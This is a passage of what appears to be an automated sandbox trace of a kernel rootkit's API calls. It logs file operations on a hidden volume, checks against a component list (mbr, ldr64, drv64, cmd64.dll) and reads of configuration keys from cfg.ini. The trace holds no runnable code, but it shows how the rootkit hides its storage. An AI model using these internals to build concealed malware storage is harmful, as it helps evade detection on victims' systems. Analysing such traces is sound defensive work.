VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.342] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.342] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.342] IdePortDispatch () returned 0x103 [0118.343] KeWaitForMutexObject () returned 0x0 [0118.343] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.343] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.343] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.343] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.343] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.343] IdePortDispatch () returned 0x103 [0118.343] KeWaitForMutexObject () returned 0x0 [0118.343] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.343] KeLeaveCriticalRegion () [0118.343] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.344] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.344] KeEnterCriticalRegion () [0118.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.344] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.344] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.344] KeLeaveCriticalRegion () [0118.344] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.344] KeEnterCriticalRegion () [0118.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.344] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.344] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003baa750, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.344] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.344] KeLeaveCriticalRegion () [0118.344] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.344] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.344] KeEnterCriticalRegion () [0118.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.344] ExFreePoolWithTag (P=0xfffffa80039d1810, Tag=0x0) [0118.344] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.344] KeLeaveCriticalRegion () [0118.344] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.344] ReleaseMutex (hMutex=0xf0) returned 1 [0118.344] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.344] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.344] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.344] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.344] KeEnterCriticalRegion () [0118.344] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.344] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.344] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.344] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.344] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.344] IdePortDispatch () returned 0x103 [0118.344] KeWaitForMutexObject () returned 0x0 [0118.345] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.345] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.345] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.345] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.345] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.345] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.345] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.345] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.345] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.345] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.345] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.345] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.345] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.345] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.345] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.345] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.345] KeLeaveCriticalRegion () [0118.345] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.345] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.345] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.345] KeEnterCriticalRegion () [0118.345] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.345] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.345] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.345] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.345] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.345] IdePortDispatch () returned 0x103 [0118.345] KeWaitForMutexObject () returned 0x0 [0118.345] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.345] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.345] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.345] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.345] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.345] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.345] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.345] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.345] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.345] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.345] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.346] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.346] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.346] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.346] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.346] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.346] KeLeaveCriticalRegion () [0118.346] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.346] ReleaseMutex (hMutex=0x100) returned 1 [0118.346] Sleep (dwMilliseconds=0x2bf20) [0118.354] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69bdf7f0, dwHighDateTime=0x1d24fa4)) [0118.354] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.354] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.354] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.354] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.354] KeEnterCriticalRegion () [0118.354] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.354] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.354] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.354] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.354] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.354] IdePortDispatch () returned 0x103 [0118.355] KeWaitForMutexObject () returned 0x0 [0118.355] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.355] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.355] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.355] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.355] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.355] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d7b50 [0118.355] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.355] KeLeaveCriticalRegion () [0118.355] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.355] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.355] KeEnterCriticalRegion () [0118.355] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.355] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.355] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.355] KeLeaveCriticalRegion () [0118.355] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.355] KeEnterCriticalRegion () [0118.355] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.355] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.355] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.355] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.355] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.355] IdePortDispatch () returned 0x103 [0118.355] KeWaitForMutexObject () returned 0x0 [0118.355] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.355] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.355] KeLeaveCriticalRegion () [0118.355] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.356] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.356] KeEnterCriticalRegion () [0118.356] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.356] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc1000 [0118.356] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.356] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.356] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.356] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.356] IdePortDispatch () returned 0x103 [0118.356] KeWaitForMutexObject () returned 0x0 [0118.356] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.356] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.356] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.356] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.356] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.356] IdePortDispatch () returned 0x103 [0118.356] KeWaitForMutexObject () returned 0x0 [0118.356] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.356] KeLeaveCriticalRegion () [0118.356] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.357] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.357] KeEnterCriticalRegion () [0118.357] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.357] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.357] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.357] KeLeaveCriticalRegion () [0118.357] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.357] KeEnterCriticalRegion () [0118.357] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.357] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.357] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003baa750, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.357] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.357] KeLeaveCriticalRegion () [0118.357] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.357] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.357] KeEnterCriticalRegion () [0118.357] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.357] ExFreePoolWithTag (P=0xfffffa80039d7b50, Tag=0x0) [0118.357] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.357] KeLeaveCriticalRegion () [0118.357] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.357] ReleaseMutex (hMutex=0xf0) returned 1 [0118.357] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.357] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.357] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.357] KeEnterCriticalRegion () [0118.357] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.357] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.357] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.357] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.357] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.357] IdePortDispatch () returned 0x103 [0118.358] KeWaitForMutexObject () returned 0x0 [0118.358] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.358] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.358] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.358] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.358] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.358] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d09b0 [0118.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.358] KeLeaveCriticalRegion () [0118.358] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.358] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.358] KeEnterCriticalRegion () [0118.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.358] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.358] KeLeaveCriticalRegion () [0118.358] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.358] KeEnterCriticalRegion () [0118.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.358] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.358] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.358] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.358] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.358] IdePortDispatch () returned 0x103 [0118.358] KeWaitForMutexObject () returned 0x0 [0118.358] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.358] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.358] KeLeaveCriticalRegion () [0118.358] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.358] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.358] KeEnterCriticalRegion () [0118.358] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.358] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc2000 [0118.359] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.359] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.359] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.359] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.359] IdePortDispatch () returned 0x103 [0118.359] KeWaitForMutexObject () returned 0x0 [0118.359] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.359] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.359] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.359] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.359] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.359] IdePortDispatch () returned 0x103 [0118.359] KeWaitForMutexObject () returned 0x0 [0118.359] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.359] KeLeaveCriticalRegion () [0118.359] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.360] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.360] KeEnterCriticalRegion () [0118.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.360] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.360] KeLeaveCriticalRegion () [0118.360] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.360] KeEnterCriticalRegion () [0118.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.360] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.360] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.360] KeLeaveCriticalRegion () [0118.360] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.360] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.360] KeEnterCriticalRegion () [0118.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.360] ExFreePoolWithTag (P=0xfffffa80039d09b0, Tag=0x0) [0118.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.360] KeLeaveCriticalRegion () [0118.360] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.360] ReleaseMutex (hMutex=0xf0) returned 1 [0118.360] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.360] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.360] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.360] KeEnterCriticalRegion () [0118.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.360] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.360] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.360] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.360] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.360] IdePortDispatch () returned 0x103 [0118.360] KeWaitForMutexObject () returned 0x0 [0118.360] _strnicmp (_Str1="cfg.ini", 